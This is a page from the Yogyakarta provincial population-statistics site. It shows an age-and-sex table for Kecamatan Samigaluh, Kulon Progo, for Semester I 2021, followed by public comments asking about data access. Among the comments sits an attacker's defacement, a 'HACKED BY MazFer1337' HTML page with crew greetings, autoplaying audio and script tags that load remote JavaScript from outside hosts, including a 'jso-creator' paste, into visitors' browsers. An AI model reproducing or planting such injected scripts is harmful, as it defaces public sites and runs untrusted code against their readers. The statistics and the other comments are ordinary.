Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN SAMIGALUH, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaKEBONHARJOBANJARSARIPURWOHARJOSIDOHARJOGERBOSARINGARGOSARIPAGERHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun2118 391927 463928 674955 1043643 793345 784639 85243 255 498
2 tahun812 202317 402316 393136 673220 522117 383229 61170 147 317
3 tahun1211 231416 302319 422529 543219 513124 553131 62168 149 317
4 tahun159 24168 242522 473438 722431 553432 663126 57179 166 345
5 tahun1216 282525 501624 404920 692730 574420 644126 67214 161 375
6 tahun149 23215 261720 372625 514022 622920 493732 69184 133 317
7 tahun1410 241316 292115 362840 682423 471930 493330 63152 164 316
8 tahun912 212117 382220 424027 673031 613130 612930 59182 167 349
9 tahun189 272223 451922 412834 622826 543122 533430 64180 166 346
10 tahun1716 331715 322023 433231 633627 633034 643125 56183 171 354
11 tahun139 222214 362123 443922 613734 712432 563627 63192 161 353
12 tahun1019 292123 442021 414035 753140 713431 653732 69193 201 394
13 tahun1315 282323 462420 442427 512726 533025 554033 73181 169 350
14 tahun1718 352820 483431 654042 822930 592931 603430 64211 202 413
15 tahun1310 232127 482222 442745 723034 642921 503627 63178 186 364
16 tahun1916 352818 462929 583345 783228 603131 623529 64207 196 403
17 tahun1619 352616 421922 413525 603222 542728 554434 78199 166 365
18 tahun1523 383527 622626 524233 752837 652927 563945 84214 218 432
19 tahun1410 242620 462223 453936 753430 643230 622939 68196 188 384
20 tahun1522 372223 453333 663337 702632 582816 444227 69199 190 389
21 tahun2118 393323 562724 514737 844833 812929 583432 66239 196 435
22 tahun2323 462017 372023 433942 813632 682323 464430 74205 190 395
23 tahun2117 382020 402615 414744 913042 722329 524440 84211 207 418
24 tahun1511 262932 614329 724952 1013431 652733 604336 79240 224 464
25 tahun1317 303429 632027 475135 863624 603431 654632 78234 195 429
26 tahun199 282023 432320 434120 613329 622324 474135 76200 160 360
27 tahun1917 362625 513318 513328 613534 693422 563345 78213 189 402
28 tahun1314 271822 402735 623841 792731 582333 563332 65179 208 387
29 tahun1712 291719 362417 412538 633525 602627 533036 66174 174 348
30 tahun1513 281910 291822 403438 722325 481319 323530 65157 157 314
31 tahun913 222016 361214 262425 492223 451821 392620 46131 132 263
32 tahun1114 251611 271317 302822 503226 582323 462833 61151 146 297
33 tahun917 26198 271418 323022 522922 512921 502721 48157 129 286
34 tahun1411 251312 251615 313423 573235 671929 482127 48149 152 301
35 tahun1511 261413 272315 382533 583018 482332 553324 57163 146 309
36 tahun1316 292221 432121 423625 612831 592833 612729 56175 176 351
37 tahun1417 311020 301812 303031 612935 642417 412430 54149 162 311
38 tahun1310 232022 422028 484328 713625 613237 693427 61198 177 375
39 tahun137 201413 272421 452839 673127 582431 551933 52153 171 324
40 tahun621 271615 312222 444335 783034 642731 582422 46168 180 348
41 tahun2111 321320 331725 423337 702732 593129 603536 71177 190 367
42 tahun2211 331930 492031 513529 643128 592818 463031 61185 178 363
43 tahun1513 281815 333924 633845 832529 542924 533541 76199 191 390
44 tahun1317 302222 441819 373537 722226 483030 602728 55167 179 346
45 tahun1719 362925 542428 523932 712833 612929 583237 69198 203 401
46 tahun1616 322224 462515 403350 833528 632624 503842 80195 199 394
47 tahun1412 262017 372739 663640 762830 582842 703036 66183 216 399
48 tahun1317 302325 482130 512943 723838 762440 643639 75184 232 416
49 tahun2114 352521 463327 604124 654249 912722 494137 78230 194 424
50 tahun1318 312015 352316 392830 583129 602923 524034 74184 165 349
51 tahun2217 392529 542332 553243 753734 713729 664831 79224 215 439
52 tahun2120 412321 442823 512942 713841 793034 643939 78208 220 428
53 tahun1316 293319 523112 433733 703533 683325 583433 67216 171 387
54 tahun1318 312526 513043 734028 683636 722527 522836 64197 214 411
55 tahun108 182319 422926 554237 793147 782232 543728 65194 197 391
56 tahun1527 422331 542321 442326 492745 723624 602832 60175 206 381
57 tahun1020 301729 462021 412036 563130 611619 353335 68147 190 337
58 tahun1615 311621 372620 463235 673326 591631 472342 65162 190 352
59 tahun920 292916 452333 563721 582829 572827 552422 46178 168 346
60 tahun2614 401721 383222 543638 743529 642535 603132 63202 191 393
61 tahun1721 382625 512827 553332 653824 623535 703741 78214 205 419
62 tahun1717 342716 432325 482732 592741 682231 532436 60167 198 365
63 tahun1816 341916 351825 431926 453238 702626 523426 60166 173 339
64 tahun1212 241312 251618 342639 652825 531923 422831 59142 160 302
65 tahun1512 271822 401722 393638 743135 663331 641827 45168 187 355
66 tahun1512 271317 302125 462839 672321 441719 361925 44136 158 294
67 tahun2221 431318 311318 313431 652426 502819 473626 62170 159 329
68 tahun1118 291317 301316 292222 442630 561320 332823 51126 146 272
69 tahun89 171017 27821 292514 392324 471911 302521 46118 117 235
70 tahun128 201015 251212 243128 592018 381819 371815 33121 115 236
71 tahun1612 281118 291123 342328 511327 402213 351518 33111 139 250
72 tahun108 181018 281213 252115 361617 33913 221520 3593 104 197
73 tahun812 20108 181711 281824 421619 351017 271521 3694 112 206
74 tahun46 10813 211121 321317 301514 291011 211322 3574 104 178
75 tahun87 15812 201412 261917 361219 31919 28820 2878 106 184
76 tahun1012 221122 331114 251217 291813 31812 201321 3483 111 194
77 tahun57 12914 2389 17815 231018 281314 271721 3870 98 168
78 tahun109 191223 351011 211419 331619 3588 161919 3889 108 197
79 tahun94 1369 15618 24116 171316 29117 181515 3071 75 146
80 ke atas3347 805474 1284685 13183103 18665103 1686377 14010087 187444 576 1.020
Jumlah1.1581.1642.3221.5861.5833.1691.7461.8053.5512.5972.6085.2052.3552.3864.7412.0402.0804.1202.5292.4614.990 14.011 14.087 28.098
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih